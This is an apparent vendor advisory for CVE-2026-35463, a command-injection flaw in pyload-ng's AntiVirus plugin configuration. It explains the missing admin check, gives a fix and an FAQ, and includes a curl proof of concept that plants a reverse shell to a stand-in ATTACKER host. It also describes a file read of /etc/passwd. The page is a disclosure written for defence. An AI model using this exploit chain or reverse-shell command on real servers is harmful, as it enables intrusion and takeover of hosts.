CVE-2026-35463

The ADMIN_ONLY_OPTIONS protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The AntiVirus plugin stores an executable path (avfile) in its config, which is passed directly to subprocess.Popen(). A non-admin user with SETTINGS permission can change this path to achieve remote code execution.

Details

Safe wrapper, ADMIN_ONLY_OPTIONS (core/api/init.py:225-235):

ADMIN_ONLY_OPTIONS = {
    "reconnect.script",      # Blocks script path change
    "webui.host",            # Blocks bind address change
    "ssl.cert_file",         # Blocks cert path change
    "ssl.key_file",          # Blocks key path change
    # ... other sensitive options
}

Where it IS enforced, core config (core/api/init.py:255):

def set_config_value(self, section, option, value):
    if f"{section}.{option}" in ADMIN_ONLY_OPTIONS:
        if not self.user.is_admin:
            raise PermissionError("Admin only")
    # ...

Where it is NOT enforced, plugin config (core/api/init.py:271-272):

    # Plugin config - NO admin check at all
    self.pyload.config.set_plugin(category, option, value)

Dangerous sink, AntiVirus plugin (plugins/addons/AntiVirus.py:75):

def scan_file(self, file):
    avfile = self.config.get("avfile")    # User-controlled via plugin config
    avargs = self.config.get("avargs")
    subprocess.Popen([avfile, avargs, target])  # RCE

PoC

# As non-admin user with SETTINGS permission:

# 1. Set AntiVirus executable to a reverse shell
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.avfile' \
  -d 'value=/bin/bash'

curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.avargs' \
  -d 'value=-c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'

# 2. Enable the AntiVirus plugin
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.activated' \
  -d 'value=True'

# 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload
curl -b session_cookie -X POST http://TARGET:8000/api/add_package \
  -d 'name=test' \
  -d 'links=http://example.com/test.zip'

# Result: reverse shell as the pyload process user

Additional Finding: Arbitrary File Read via storage_folder

The storage_folder validation at core/api/__init__.py:238-246 uses inverted logic, it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting storage_folder=/ combined with GET /files/get/etc/passwd gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.

• Remote Code Execution, Non-admin user can execute arbitrary commands via AntiVirus plugin config
• Privilege escalation, SETTINGS permission (non-admin) escalates to full system access
• Arbitrary file read, Via storage_folder manipulation

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-35463 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Apply ADMIN_ONLY_OPTIONS to plugin config as well:

# In set_config_value():
ADMIN_ONLY_PLUGIN_OPTIONS = {
    "AntiVirus.avfile",
    "AntiVirus.avargs",
    # ... any plugin option that controls executables or paths
}

if section == "plugin" and option in ADMIN_ONLY_PLUGIN_OPTIONS:
    if not self.user.is_admin:
        raise PermissionError("Admin only")

Or better: validate that avfile points to a known AV binary before passing to subprocess.Popen().

1. What is CVE-2026-35463? CVE-2026-35463 is a high-severity OS command injection vulnerability in pyload-ng (pip), affecting versions <= 0.5.0b3.dev96. No fixed version is listed yet. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. How severe is CVE-2026-35463? CVE-2026-35463 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of pyload-ng are affected by CVE-2026-35463? pyload-ng (pip) versions <= 0.5.0b3.dev96 is affected.
4. Is there a fix for CVE-2026-35463? No fixed version is listed for CVE-2026-35463 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-35463 exploitable, and should I be worried? Whether CVE-2026-35463 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-35463 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-35463? No fixed version is listed yet. In the interim: Avoid passing untrusted input to shell commands. Use parameterized APIs or libraries that do not invoke a shell.